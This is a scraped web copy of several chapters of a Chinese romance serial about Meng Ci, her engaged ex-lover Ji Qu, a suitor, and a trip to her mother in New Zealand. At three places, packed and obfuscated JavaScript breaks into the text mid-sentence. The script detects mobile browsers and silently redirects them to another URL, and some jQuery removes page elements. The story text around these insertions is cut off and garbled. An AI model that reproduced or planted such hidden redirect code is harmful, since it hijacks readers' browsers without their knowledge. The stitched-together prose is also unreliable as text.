这不是孟慈自己找的,比留在他的身边更好的路子? 今晚的事其实不算严重。 就算自己不去,赵一辰和安娜也完全能解决。 不过就是多耗些精力,孟慈也多受点苦而已。 但是季曲意外的是。 他没看到梁漠。 按理说这种英雄救美的机会很难把握,他应该出现才对。 安家的那一面,季曲能看出来梁漠对孟慈的心思。 想来想去,季曲最终还是觉得孟慈出去这两年一定不好过。 不然怎么混到连个捞她的人都没有。 不过还好没人捞她。 才把机会给到自己。 季曲脱掉外套,将双手的袖口解开,简单翻折到小臂,把腕表解开搁在大理石台面。 季曲大步向孟慈走去。 他从孟慈手里夺过门把关上,用左手勾住孟慈的肩膀,弯下身子将右手从孟慈膝下穿过,她的体重轻到季曲随意一拎就能把人带离地面。 回到沙发,季曲没把人放下,而是顺势放在自己的大腿上一起坐下。 孟慈挣扎了几番,她也不太想撒泼打滚地从季曲身上翻下来。 毕竟是旧情人,还得讲究个脸面。 “我就上个药,而且那个合同,有点问题。” 季曲察言观色的本事是孟慈的数倍不止。 他飞快地找了个台阶,方便孟慈稳稳地走下来。 “什么?”孟慈扫了眼已经被杂物覆盖的合同,问了句。 “一会儿说。” 睡袍的开叉高至大腿根。 随着坐下的动作自然而然地朝两侧下垂,露出纤细白嫩的双腿。 只不过其中一条布满伤痕。 伤口只做了消毒还没来得及抹药。 季曲大致看了看,从自己带的一堆药品中挑挑拣拣。 孟慈闲来无事,便盯着季曲等待。 可能因为是跑了一夜。 他一贯合体的发丝竟然乱了些,几缕碎发落在额头。 减了些生人勿近的冷意。 其实孟慈最开始认识季曲时,他就是这样。 比起众人眼中的矜贵淡漠。 他的性格里藏着不少恶劣的部分,霸道蛮横又不讲理。 身下的西装裤逐渐被两人的体温捂热。 孟慈没受伤的那条小腿挨着滑顺的布料,白与黑形成反差。 孟慈的双手相握,放在身前。 伤口处理得差不多了。 季曲的身子更俯了些,为了查看肿胀的脚腕。 因为这个动作,孟慈的右半边身子几乎与季曲的胸膛紧贴,她的脸似是埋在对方的颈间。 此时此刻,绷得笔直的脊梁骨好像在他人的主动下显得单薄,显得不堪一击。 他没换味道。 是孟慈在节日时特地找师傅亲手调配的那款。 孟慈心里的防线卸掉一层。 从派出所离开后,季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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丝绸裙带勒出婀娜腰身。 再往下几寸,开叉已经随着两人的动作散到最深处。 雪白皮肤下压的是季曲的黑色西装裤。 体温逐渐入侵布料,从丝线间相会。 季曲伸手覆上孟慈始终交叠的双手,施力将其分开,又握进手中忽轻忽重地细细揉捻,情愫滋生。 即使时间一晃数月,彼此的身体却依旧熟稔。 季曲纯熟地探进盖在孟慈腿根的裙身,攀摹向上。 滑过一段窄窄的布料起伏。 被孟慈隔着睡裙按在腰间。 季曲的嗓音有些哑,不知道是因为淋了雨还是什么,他慢悠悠地开口:“你知道我想要什么的吧?” “私人医生的问诊费?”孟慈假装不懂。 季曲彻底笑了。 他垂首贴向孟慈,鼻尖触在嫩滑的脸颊,“我不当医生好久了。” 孟慈下意识地后退,却被季曲的手臂紧紧箍着腰身。 退无可退,她挑眉迎上,“我还以为季总突然来了兴致,想旧戏重演。” 旧戏太多场。 场场精彩,幕幕缱绻。 “怎么呢?季总这么久不见,忽然又想起我?” 孟慈笑了,在深夜,艳丽而荒唐。 14. 第 14 章 孟慈久久等不到回答。 她发问前就知道,这句话只能冷场。 季曲伸手,拇指落在孟慈下巴。 捏着薄薄的一层皮,细嫩的皮肉被他按出凹陷。 孟慈皱皱眉,吐字带了几分气性 “疼。” 单单薄薄的一个字,通过各种介质传到季曲耳道里。 意外变得软。 像是之前相处时再普通不过的一句娇嗔。 孟慈好像比别人多长了几根神经。 痛觉明显,动不动就喊痛。 之后好看的眉头就要皱在一起,像是巴黎老裁缝手里打折的昂贵布料。 “不是你先跑的?把我自己扔下。”季曲盯着孟慈琥珀色的瞳孔好笑地反问。 “我?”孟慈挑眉反问,却没下文。 其实在两年前,孟慈早就忘了自己找过留学机构的事。 毕竟是在认识季曲之前的行为。 而且中介都说孟慈的学术背景还是有些薄弱,劝她先在国内读个研会更好走一点。 在大家都不抱希望的状态下,没想到竟然真的申到了offer。 孟慈本来想拿着offer去找季曲商量商量。 还没等她说出口,就看到薄娴挽着季曲在众人拥簇中上了车。 车子开走后有眼快的员工看到了马路对面的孟慈。 先是尴尬的笑笑,然后便是面面相觑。 孟慈在场面还没那么难堪的时候,转头离开。 烫手山芋成了助她逃离囹圄的宝物。 孟慈跑回家拎着行李就飞去了妈妈身边。 一直到开学,孟慈直接飞到大洋彼岸,再没回来过。 陌生久远的回忆再次翻涌。 失去了糖衣的药片逐渐泛出不算好的滋味。 苦之后还是苦,没有涩。 季曲知道自己理亏,不能再深入。 他原本敛着情色滤镜的双眸淡了几分。 过了几秒,他再抬眼时,眼底多了点讨好求和意味在。 “先不讲这些。” “那讲哪些?” 风开始逆向吹,掌舵手换人。 孟慈觉得好笑:“季总……想听我讲哪些?讲我看到您搂着别的女人的心情?讲我看到送给爱人的外套披在别的女人肩头的想法?还是讲什么?” 孟慈的语气中淬了细针,密密麻麻地扎在季曲身上。 对视良久。 季曲落败似的短叹一声,嗓音低沉如夜雨,“你要讲道理,还是要快乐?” 季曲在孟慈耳垂上轻轻咬了一口,留下不深不浅的牙印。 不用抬头就知道孟慈一定又皱起眉头,眼底都是对该行径的控诉。 要是还年轻,大可以不管不顾地先把人整服帖,然后再慢慢说软话好话一遍遍地哄,但是现在…… 孟慈推开埋在自己颈间的季曲,说自己困了。 时针过了三。 窗外的雨也渐渐停了。 月亮透过乌云探头。 季曲看到孟慈用手掩着打了个哈欠。 没再思考,他抱着孟慈起身走进卧室把人好好地放在被窝。 接触到床的瞬间。 孟慈就像磁铁的负极遇到了正极一样飞快地缩了进去。 床头的台灯开着。 书从三分之一处敞着倒扣在桌面。 小番茄叶味的香薰燃着,和窗户缝涌进来的雨味搅在一起。 季曲坐在孟慈床边,打量她的脸。 闹了一晚上,疲态尽显。 季曲脑海中关于孟慈的那片区域缓缓打开,却没有一丁点灰尘。 在暖黄色的灯光中。 季曲伸手抚上孟慈的眉。 她骨相生的极好,薄薄的一层皮附在上面,起起伏伏。 像是华婉高价收入的工笔画一般。 孟慈入眠不算容易。 总要拉着季曲讲东讲西好久才会困倦。 出去两年倒是把这个毛病养好了。 也不知道过得太好还是过得太差。 季曲这么想着,看到床上的孟慈突然伸手探了探。 季曲的脑子还没反应过来手就先一步递了上去。 孟慈睡得浅时总习惯抱着点什么。 被孟慈反握住的一瞬间,季曲突然发现自己原来还在下意识地惦记她。 还没等品出这番动作带起的莫名感情,孟慈便利索地放了手。 她又在旁边胡乱摸摸,抓了只玩偶抱在臂弯枕在脸侧,顺势翻了个身再次背对季曲。 一连套动作下来快到季曲几乎以为孟慈是在装睡。 第二天。 孟慈睡到快十二点才醒。 身上的伤口隐隐地痛,脚腕处还有些肿。 没比凌晨那时好多少。 洗完澡,给自己外卖了一杯咖啡。 刚出卧室就发现家里多了一个人。 孟慈擦头发的手顿了一下。 看到摆满餐桌的食物,多了几丝无语。 季曲还在厨房不知道干什么,只露出一个背影。 挺括的白衬衫衬得他人比昨晚精神不少。 袖口弯折至小臂处。 露出限量版的机械表和线条紧致的肌肉走向。 看着面前中西结合的早午餐,孟慈只觉得无味。 “随便吃点,一会儿去医院检查一下。”季曲端着咖啡出来,放在孟慈面前。 城东李家的油条豆浆。 胡同私房的茶点和阳春面。 星级酒店的可颂沙拉。 还有季曲拿手的现磨咖啡。 孟慈垂眸扫着,脸上没什么表情。 季曲见孟慈的发丝还在滴水,又从餐桌前起身去浴室找吹风机。 过了一会儿,两手空空地走出来。 “换地方了?” “什么?” 季曲挑眉,眼底写满’明知故问’四个字。 孟慈扔开已经吸满水的毛巾,抽了张面纸继续攥还在淌水的发丝。 “家里没有,我没打算长住。” 没打算长住。 季曲在齿间把这几个字过了一遍。 也对,走到现在,都是意外。 季曲坐回原位,往孟慈面前推了碗粥,“喝点热的,胃里会舒服点。” 季曲的手很好看,指节分明,甲床饱满。 这种金银窝里养出来的人浑身上下就没有丑陋的地方。 孟慈看着季曲伸出收回的左手,干干净净,没有点缀其他。 “这两年在外面,多了些坏毛病,早起总容易低血糖,头有点昏。” 孟慈不知道为什么突然来了一句。 话音落下,季曲看向孟慈的脸,唇色是有些发白。 前两年孟慈不知道从哪看了科普,为了抗氧抗炎戒了一段时间糖。 因为对身体没什么危害,季曲就也默许了。 今天也是按以往准备的,桌子上除了水果没有任何甜食。 季曲再次起身在四周打量,还没等看完,孟慈就又补了一句,行李箱里有。 一直到孟慈从行李箱里掏出糖盒时,季曲都没察觉到哪里不对。 “啪”的一声。 包装精致的红色糖盒落在桌面,上面的金粉还在闪。 季曲看得眼熟,却一时想不起来在哪里见过。 对上季曲稍疑惑的眼,孟慈才笑了一笑,“季总不记得了?这是您的喜糖,还是您未婚妻送我的。” 进展到这儿,季曲便知道孟慈压根就没什么低血糖的毛病。 遂把涂好牛油果泥的面包片放在孟慈的餐盘。 他没再分给糖盒什么眼神:“吃饭,一会儿凉了。” 两人陷入长久的沉默。 直到发丝干到不再滴水,直到牛油果酱氧化变黑。 孟慈也失了耐心,起身回了卧室。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379123|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 照着镜子梳顺头发。 孟慈按取护发精油时发现旅行装的瓶身已经见底。 拿着瓶身不断倾斜调整角度,油体逐渐在细小的管口汇聚。 耐心等了几秒,孟慈将最后的精油按进手心搓热,再抓到头发上。 一套动作下来,在镜子里对上了季曲的目光。 镜中的一切都是相反的。 画面,角度,甚至是人物。 季曲抱着臂倚在门框上,表情意味不明。 孟慈抿了下嘴,挑了无足轻重的一句,“昨晚谢谢你。” “不叫季总了?”季曲站在原地,闻到淡淡的栀子香。 孟慈抽了张面巾纸擦净手中残留的精油,转身面向季曲,表情中凝了些沉重。 “我不想当第三者,两年前是,现在也是。” “我又没想干嘛。”季曲听到这儿笑了一下:“你不是拒绝了。” “那你可以走了吧,这是我家。” 孟慈下了逐客令。 因为实在想象不到两人还有什么交流相处的必要。 她也没什么生理需求要满足。 “孟慈。”季曲喊了声孟慈的名字,没下文。 两个人之间出现无声的空落。 像是站在悬崖边为了丈量深度而扔的石头久久等不到回音。 而此刻,孟慈感觉自己也站在悬崖边。 “算了。”季曲放下手臂,多了几分正形,“欠你句对不起,抱歉啊,之前的事。” 原本想磊落的回句没关系,但是嘴好像被胶水粘住,怎么都长不开。 浴室的水汽还没散尽,蒸的人头脑发昏。 想到两年前的自己。 面对这句迟来的,突然袭击的抱歉,孟慈矫情地红了眼。 她逃避似的转过身,从一旁拿出梳子继续在顺滑的发丝间摆弄。 “石骏廷的合同真的有点问题,他之前的项目由于手续问题中途停工,实验室的科研人员跑了一半,车间也关了,现在缺钱缺人,你要是真想做这方面的项目,我回头让孙谦整理几个合适的给你,你要是懒得看就给黄景峰,他应该做得了。” “还有那个梁漠,挺好的,家世模样都不错,就是之前有个谈了挺久的前女友,听说…算了,我对你有信心。” 季曲看着面前人不自然的动作,知道孟慈八成又沉浸在自己的小情绪里心软地一塌糊涂,就这点赖毛病,以后总得吃亏。 “行了,走了。” 孟慈没回头,也没应声。 只不过转身离开时,季曲的耳朵捕捉到一丝极微弱的动静。 孟慈吸了吸鼻子,像是幼猫的哼唧。 终究没忍住。 季曲转身回到孟慈跟前,伸手在她的头顶拍了拍,仿佛带着无限包容。 “两年前不是走得决绝,怎么几句话就受不了了?” “不是让你改改心软的毛病,还得栽几次跟头才能好?” 孟慈的身体在季曲触碰的一瞬间就变得僵硬。 她本想偏头去躲季曲。 却被捏着肩膀翻身抱到了怀里。 孟慈:“我没原谅你。” 季曲点头:“我知道。” 孟慈:“是我和你分的手。” 季曲语气遗憾:“被甩可太难过了。” 季曲的下巴放在孟慈头顶。 他摸着孟慈披在背后的发丝。 心如指一样被缠绕。 “但是我还给你做主。” “用不着。” 季曲把人从怀里拉出来,双手捧住孟慈的脸,“那你别委屈自己,要不然我总不放心。” “记得去医院。” 季曲穿好西装外套离开,就像是朋友做客后道别一般绅士自然。 孟慈把桌子上的食物通通倒进垃圾桶,从门外拿到自己点的外卖。 咖啡的冰化了一半。 已经过了最佳赏味期限。 15. 第 15 章 日子又过了一段。 树枝上的枯叶早就落尽。 爱丁堡的冬天近在咫尺。 公司和石骏廷的合作项目告一段落。 孟慈后来让方萤带着人又做了一次摸底。 确实和季曲说的状况一样。 但是孙谦递过来的项目书,孟慈一眼都没看。 黄景峰倒是从其间考察了两个合适的,拿着找孟慈拍板,说是自己做不了这么大的主。 “您决定就好,快要年底了,让大家都好好过个年。”孟慈在屏幕里笑着安排。 “那我就有数了。”黄景峰拿起左手边的项目书递给秘书,还是实体项目利润大。 “放假回来吗?今年咱们这儿可冷,回来得多穿点。” “先去我妈那儿看一眼,我好久没见她。” “新西兰是吧,好地方,替我带好。” 孟慈那边的传来门铃声。黄景峰适时挂断通讯。 梁漠进家的时候拎了满满两大袋东西。 阿姨帮忙去接,被他笑着躲开。 熟悉地走过客厅放在餐桌上,各种补品调料散在桌面,瓶瓶罐罐之间撞出噪音。 “这些家里都有,都浪费了。”孟慈走到一旁给给梁漠倒了杯刚刚煮好的红茶。 “最近天冷,多吃点补一补,你上次回国小病小痛不少。”梁漠接过茶杯。 阿姨在一旁分类归纳。 孟慈带着梁漠回到客厅。 置景用的壁炉烧出火木的炸裂声,十分逼真。 “去哪过年?” “不知道,可能去找我妈。” “回北市的话可以找我。” “不方便吧,大过年的。” 梁漠最近献殷勤的次数越来越多,心意愈发摆在台面。 就连阿姨也问过孟慈几次,是不是要谈恋爱了。 孟慈属实没那个心思。 “这有什么不方便的,不一定我年后也去新西兰一趟,到时候找你玩。”梁漠和孟慈坐在一条沙发上,两人仅一掌距离。 梁漠侧着身子看孟慈,她的长发低低地束在脑后,衬得人温润又乖巧。 “孟慈。” “嗯?” 孟慈听到自己的名字被人念的有些郑重。 “其实……不用和我见外。”梁漠带着几分期待,手心出了微汗。 孟慈在听到自己名字的那时就已经抬起头与梁漠对视。 自然接收到了某些信号。 在温暖的氛围中,孟慈先转开眼。 她淡淡道:“我一直就是这样的性格,你认识我的时候就知道吧?” “当然,但我不是刚认识你的时候了。”梁漠没那么好打发,“……或许…你考虑一下我?” 梁漠是个很好的人。 孟慈在心里一桩一桩地数,欠过的人情,要还的钱债。 “不用了,我暂时没那方面的心思。” 来之前梁漠已经做好思想准备。 要不是爷爷奶奶催得紧,他也想再培养一段时间再提这件事。 但是已经提了,那就得接受失败的可能。 梁漠走的时候窗外又开始飘雪,爱尔兰今年的雪好像比以往都多。 孟慈从玄关的伞桶里随便抽了一把送他。 “我下次还你。” “不还也可以。” “我只是为了见你找个借口,别拒绝我。” 梁漠很快地调整好状态,再次回到温润体贴的兄长形象。 孟慈笑笑没说话,目送他离开后裹着毯子才回屋。 阿姨在孟慈决定自己的目的地之前就被放了假。 她离开的时候还不放心的连夜包了一百个饺子放在冰箱,让孟慈自己煮着吃。 又反复叮嘱晚上要锁紧门窗。 其实孟慈还没想好要不要去找妈妈玩。 毕竟妈妈现在也有人陪着,自己去了不免尴尬。 拉住窗帘睡了个午觉,再转醒时已经是傍晚。 窗外也变成深黑色。 孟慈百无聊赖,干脆去了近处的超市。 可能是因为雪天难行。 超市的客流量不算大。 孟慈推着车装了点水果。 重的苹果梨子不要。 蓝莓树莓都是好选择。 她挑挑拣拣,也装了满满一购物袋。 坚硬的水泥路上还有残雪。 孟慈走的慢,购物袋里的东西越来越沉,她干脆用力一提抱在怀里。 眼看着就要到家,雪又纷纷扬扬落了下来。 孟慈呼出来的气遇到雪变成晶凝在睫毛上,有些阻挡视线。 她用力眨眨。 还没等几下,面前突然压了片黑影。 怀里忽的一空。 “怎么自己逛超市,连个陪着的也没有?”季曲一只手拎着购物袋,像是拿了只女士皮包一样轻巧。 他伸出空闲的手抹去孟慈眼睫上的阻碍,帮助孟慈能清楚地看到自己。 不约而同的。 两人都穿了黑色大衣。 只不过孟慈的大衣里裹着的是针织羊毛裙,而季曲的大衣里裹着的是成套的西服。 孟慈有些意外:“你怎么来了?” 季曲:“谈生意。” 路灯把两个人的身影拉长,融在漆黑一片的夜。 季曲上前一步,伸手掸掉了孟慈头顶的积雪。 孟慈看着季曲的眼睛,思绪凝滞又跳切。 一直到季曲说雪大了先回家才反应过来。 孟慈从玄关取了双新的男士拖鞋递给季曲。 然后抱着自己挑好的水果进了厨房。 丝毫不见外的把客人晾在一边。 下午睡的太多,孟慈怕又失眠,便按照阿姨的食谱煮了热红酒。 一步一步操作,酒精比白水沸的快。 直到香味飘出来,孟慈关火舀酒。 抱着杯子回到客厅时,孟慈看到季曲坐在梁漠坐过的位置上,合体的西装被欧式装修的客厅衬出几分慵懒。 听到脚步声,季曲回头。 被雪打湿过的发还没完全干透,被壁炉的光穿过,毛茸茸的。 孟慈只拿了一杯。 她和季曲对视几个呼吸,面色淡淡地上楼回房。 “我以为再怎么样,凭我们的关系,你应该也给我倒一杯。”季曲从沙发上起身。 “厨房还有,你自己倒。”孟慈已经踏上第一节楼梯。 季曲拉着孟慈的手臂把人转过来。 拿起孟慈的杯子尝了一口,露出还不错的神色。 把杯子放在楼梯扶手的平面。 季曲一把把孟慈拉进怀里。 就算孟慈站在一节台阶上,也比季曲低不少。 一低头,季曲就埋在孟慈颈窝,暖洋洋的热红酒味染了她满身。 “季曲……” “你能不能先别说话。” 孟慈刚开口就被打断。 季曲的声音打在孟慈的皮肤上反弹。 顺着两人相贴的缝隙钻到孟慈耳朵里。 “我刚刚一见你就想这样。” “你订婚了。” 孟慈一贯不是个听话的。 话从她的嘴里直白地打出来,和她的身体一样硬。 “那又怎么样?”季曲深深地吸了一口气,才舍得抬起头,带着不常见的戏谑口吻说,“她又不知道。” 孟慈几乎是瞬间就炸了毛,凭空生了丝力气双手一推把季曲逼得后退一步,随后瞪了季曲一眼气汹汹地转身上了楼。 木楼梯被她跺地生响,结尾是卧室门被摔上的“嘭”声。 一连串动作惹得季曲笑得更开。 他觉得现在的关系也不错。 毕竟把人惹生气了不用哄,省了不少力气。 走到厨房拔掉锅子的插销,季曲颇为无奈地摇头。 也不知道这两年是怎么照顾自己照顾生活的。 看来能在安家的宴会上见到全须全尾她真是多亏她福大命大。 季曲离开时给孟慈留了张纸条在桌子上。 还贴心的找了遥控器压住。 这样就不怕她粗心或者故意看不到。 孙谦和司机在酒店休息,没一会儿就接到季曲的电话,说他叫了车去机场,直接在那儿汇合。 爱尔兰这一趟,完全是临时起意。 季曲确实来谈生意,只不过是在伦敦。 并非孟慈所在的爱尔兰。 本意是想看看孟慈的伤恢复的怎么样。 毕竟当时的伤口确实瘆人。 只不过季曲忽略了现在两人已经不再是能嘘寒问暖的关系。 只能无功而返。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382724|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子白黑颠倒着过。 一直到阿姨包的饺子吃完,孟慈才磨磨蹭蹭地拎着行李箱上了飞机。 妈妈在皇后镇,她打算给妈妈一个惊喜。 孟慈落地后先是去了瓦纳卡湖看人垂钓泛舟。 接着去了天空缆车,天气很好,能看得到利马卡伯尔山。 最后去了莫尔大道买了些七七八八的东西才拖着行李找到妈妈的住址。 下车的时候刚好碰上夕阳西下。 整个院子被映成金黄。 站在铁门前看了一会儿,孟慈才按响门铃。 没几秒,裴沛便穿着围裙冲了出来。 她手上还沾着面粉,结结实实地给了孟慈一个拥抱。 “怎么突然来了?” “想给你个惊喜,最近好吗?” 裴沛把手在绣着蕾丝边的围裙上擦了又擦,才摸上孟慈的脸,说怎么又瘦了。 后面的钱杰紧跟着走出来。 热情地接过孟慈手里的一大袋礼物和行李箱。 一进家裴沛就从矮柜里拿了双拖鞋,揪开标签放到孟慈脚边。 说是早就买好了,就知道孟慈早晚会来。 “你妈早就盼着你放假,日历上划了好几个圈,说你肯定会来。” “这就叫母女连心。” 裴沛给孟慈介绍了她的卧室。 又从衣柜里拿出几身全新的家居服,让孟慈赶紧换一身舒服的。 孟慈简单收拾好出来,裴沛已经把家伙事都搬到客厅。 钱杰在擀饺子皮,她自己在搅馅,两个人有说有笑。 “快来包饺子。”裴沛冲着孟慈招手。 “来了妈。”孟慈笑笑。 晚餐结束后钱杰极有眼色的找了借口出门。 裴沛拉着孟慈躺在房后花园的摇椅上聊天。 旁边还放着热茶和水果。 “明天带你去坐缆车好不好?还是去钓鱼?我最近运气很好,每次都能钓上大鱼。” 裴沛插着水果不断地往孟慈嘴边送。 孟慈在咀嚼的空隙说去哪都好。 反正她都是第一次来。 裴沛看着比视频里还要清减几分的女儿心疼开口:“最近身体怎么样?按时体检没有?” 孟慈撒了谎:“都很好,健康的不得了。” “哎呦你小时候三两天就要闹一次病,输液连血管都找不到,最后没办法只能在头皮上扎,我怕你乱动就一直抱着你。” “小时候把病都生完了,现在不就没病可生了。” ”最好是。” 孟慈长得更像爸爸,不如妈妈圆润温和。 性格也是,不如妈妈一样的喜人。 看着裴沛日益白嫩的手,孟慈没忍住伸过去牵,拉到面前反复地看。 裴沛被孟慈突然的动作搞懵:“怎么了?” “没怎么,觉得这么好看的手应该带点黄金宝石,不然都浪费了。”孟慈打量着。 “带那些干嘛?你都给我买了好多,都在柜子里锁着呢,我平常还要洗菜做饭。” “妈,你刚刚可是连厨房的洗碗柜都找不到。” 裴沛眨眨眼,全然没有被抓包的尴尬。 母女对视一笑。 “钱叔叔把你照顾的太好了。” “是还不错。” 看着裴沛眉眼间溢出的幸福,孟慈的某份牵挂踏实落了地。 “在这儿过年吧,天气也不冷,我给你做排骨吃,前段时间刚和你姥姥学的。” 孟慈没回答,她把自己手腕上的朱砂串摘下来,套到妈妈手腕上,“这可是我去求的,一直没机会给你。” 裴沛笑得弯了眼:“我就喜欢红色的,衬得我白。” “你本来的就白。” 妈妈忽略孟慈的回避。 孟慈跳过话题。 两个人默契地达成一致。 钱杰有一儿一女,都和孟慈互有联系方式。 前段时间看到钱杰的儿子发了朋友圈。 一段视频,里面是刚满三岁的小孙子,说想爷爷,要坐飞机到很远的地方去和爷爷过年。 幸福不是非要阖家团圆。 孟慈经济可观、时间宽裕,随时都能来。 不像钱杰家的孩子,都是上班族,来一趟不算容易。 下次吧,总还有机会。 16. 第 16 章 隔日又是大晴天。 母女两个坐在瓦纳卡湖旁垂钓。 过去两个小时,颗粒无收。 钱杰自告奋勇帮母女俩看着鱼竿,让她们去走走活动活动筋骨。 刚好裴沛说她饿了,两个人准备买点吃的再回去。 不远处有个买汉堡的小店。 称得上是景区热门。 裴沛拉着孟慈过去点单。 服务员照例询问要添加什么小料,下单时刚好看到孟慈的脸,笑着问是不是还是不加酸黄瓜? 孟慈一愣,而后说需要。 裴沛看了眼孟慈,没说话。 服务员抱歉一笑,解释道前两天也有一位亚洲女士光临,自己可能记混了。 汉堡做的很快。 孟慈和裴沛还另外一人拿了一支甜筒沿着小路往回溜达。 雪糕化得快,没一会儿就粘了孟慈满手。 裴沛一边嫌弃一边抽出湿纸巾给孟慈擦手,全当她还是个小孩。 “就这样我怎么放心你一个人。” “有什么不放心的,我都24了。” 眼看着面前的女儿出落得越发利落,裴沛几乎不可见地叹了口气。 “谈恋爱了吗?” “还没,没合适的。” 孟慈大学时期找了个男朋友。 各方面都不错,偏偏两个人心性不和。 说来也是孟慈太倔,没落下什么好结果。 那男孩子裴沛也见过,处处优秀,是孟慈的初恋。 孟慈当时面临毕业,就业和升学的压力都在头上顶着。时间一长,整个人肉眼可见的蔫巴下去。 后来机缘巧合,孟慈碰到了季曲。 不到小半年,孟慈又被养得活蹦乱跳的,性子也娇纵不少。 但是不知道为什么又突然分了手。 一直到现在,孟慈身边再没出现其他对象。 “要不然让钱叔叔的儿子给你介绍一下?他工作单位稳定,看有没有合适的。” “不要。”孟慈摇头,从纸袋了捻了根薯条出来,“我自己看着办。” 一谈到这方面的话题,孟慈就好像吃了块方正的冰,冷气透过喉咙跑出来,还顺着毛孔无限扩散。 那天一直到傍晚,传说中的大鱼也没出现,鱼饵倒是用了大半盒。 晚上回家后母女俩躺在一起敷面膜,“紧急救援”晒了大半天的脸。 “明天几点的飞机。” “十一点。” “想吃什么?吃饱了再送你去机场。” “嗯...吃面吧。” 后来母女俩又七七八八地聊了很多,直到面膜干在脸上才张罗着睡觉。 第二天孟慈睡醒时餐桌上已经摆满菜码。 裴沛给孟慈盛了一大碗,赶得上孟慈的头大。 孟慈问这是哪来的碗,裴沛自豪地说是自己前段时间烧的,拿来吃面刚好方便。 机场的人不算多,掐着点,三人准时到达出发层。 孟慈站在入口处和裴沛道别,抱着妈妈像小狗一样地来回拱。 痴迷地闻暖暖的、香香的皂角味:“我在你的保险柜里放了一张卡,密码是你生日。” “什么时候放的?你怎么知道我保险箱密码?” 孟慈终于从妈妈的怀里退出来,笑着说你什么密码我不知道,然后背着包利落挥手道别。 从玻璃门的倒影里。 孟慈看到妈妈被钱杰揽住肩膀。 一直目送她的身影彻底消失在转弯处。 刚刚在沙发上坐下,就收到妈妈发来的消息。 【我在你背包的夹层里放了一张卡和一些零钱。】还附着一个胜利的表情。 孟慈从包里掏出厚厚的一沓红钞,一张卡片。 还有……一枚戒指。 手机又响了。 【对了还有一个小礼物,我第一眼看到它的时候就想送给你。】 看了看宝蓝色的玛瑙戒指。 孟慈比量着套到了最合适的一根指节,然后拍照发送。 【很好看。】 【当然,我的眼光什么时候差过。】 孟慈扭头看向窗外。 这里风好水好,特别养人。 回去好好挣钱给妈妈在这儿买一套小房子。 行程需要在奥克兰转机。 在机场买了杯咖啡,孟慈又迷迷糊糊地登机。 刚刚的航程有些颠簸,晃的人不太舒服。 找到座位后和空姐要了晕机贴和毛毯,孟慈又戴上眼罩陷入混沌。 再转醒时孟慈感觉到自己的手正被人握着。 那人的指腹放在手上的某个穴位,正用力按揉。 她扯开眼罩,刚好对上季曲的目光。 “醒了?”季曲的动作还在继续,“正好吃点东西。” 孟慈睡得懵,眼里的雾气还没散干净,带着不常见的柔。 她刚想揉眼,就被“啪”的一声打了手背,霎时间泛起红。 “手不干净。”季曲折了纸巾,细心地给孟慈擦拭。 “你怎么在这儿?”孟慈用力地眨了两下眼,终于看清面前的人。 “我怎么不能在这儿。”季曲耍赖不答。 孟慈懒得再问。 餐前面包搭配着浓浓的黄油。 孟慈很快就吃完了自己的那份。 旁边的季曲看了一眼,端着餐盘把自己的送到孟慈面前的小桌板上。 不能占人便宜。 孟慈选了一会儿,把鲜嫩的三文鱼还给季曲。 这可比面包贵多了。 这么想着,孟慈愈发满意。 进餐时间结束,两个人几乎没有交流。 一直到空姐收完餐,孟慈又要了杯香槟。 刺激的气泡充斥口腔的瞬间,孟慈满足地眯了眯眼。 季曲学人,也要了一杯。 “以前怎么没看到你这么喜欢喝这些?”季曲也抬起杯子尝了尝,然后叫空姐收走,看来是不满意。 孟慈没理他,戴上耳机给自己找了部电影。 著名的泰坦尼克号,最近又要重映。 “是不是不太吉利啊?”季曲的胳膊架在两人中间的隔架,“现在看这部?” “你能不能安静点?”孟慈虽然这么说,但也拿出遥控器换了部小鬼当家。 看到这儿,季曲笑笑,窝回自己的座位,将座椅放平,调整了个舒服的姿势,双手交握放在腹间,“我两个晚上没睡了,一会儿见。” 飞机的噪音很大,耳机的音量调到最大也压不住。没看完二分之一,孟慈就觉得耳朵痛,不得不把耳机拿下来歇息。 深夜的航班运行平稳,周围都静悄悄的。 孟慈也有了困意,换上自己的降噪耳机,调整好座椅角度,闭着眼试图入睡。 在酒精的助力下,孟慈很快进入浅眠状态。 一直到左腿被压的有些发麻,才不得不转醒。 奚奚索索的动静也叫醒了旁边的人。 “渴了?”季曲坐起身,毛毯滑到腰间,“还是哪儿不舒服?” 孟慈没回答,季曲拧开水瓶递到孟慈嘴边,一只手在下面接着。 飞机上总是干燥。 孟慈也确实有些口干,刚想说自己来就被季曲直接堵住了嘴,常温的水以缓慢的速度往孟慈嘴里渡。 机舱早就熄灯,仅有安全带提示灯的微弱光源可以照亮。 飞机突然小幅度的颠簸一下。 水顺着孟慈的嘴角溢了几滴。 季曲拿下水瓶,用手背在孟慈的下巴上擦了擦。 然后就着刚刚孟慈喝过水的瓶口自己继续喝。 吞咽声明显。 再次躺下,睡意却消失了不少。 孟慈不自觉地来回调整。< 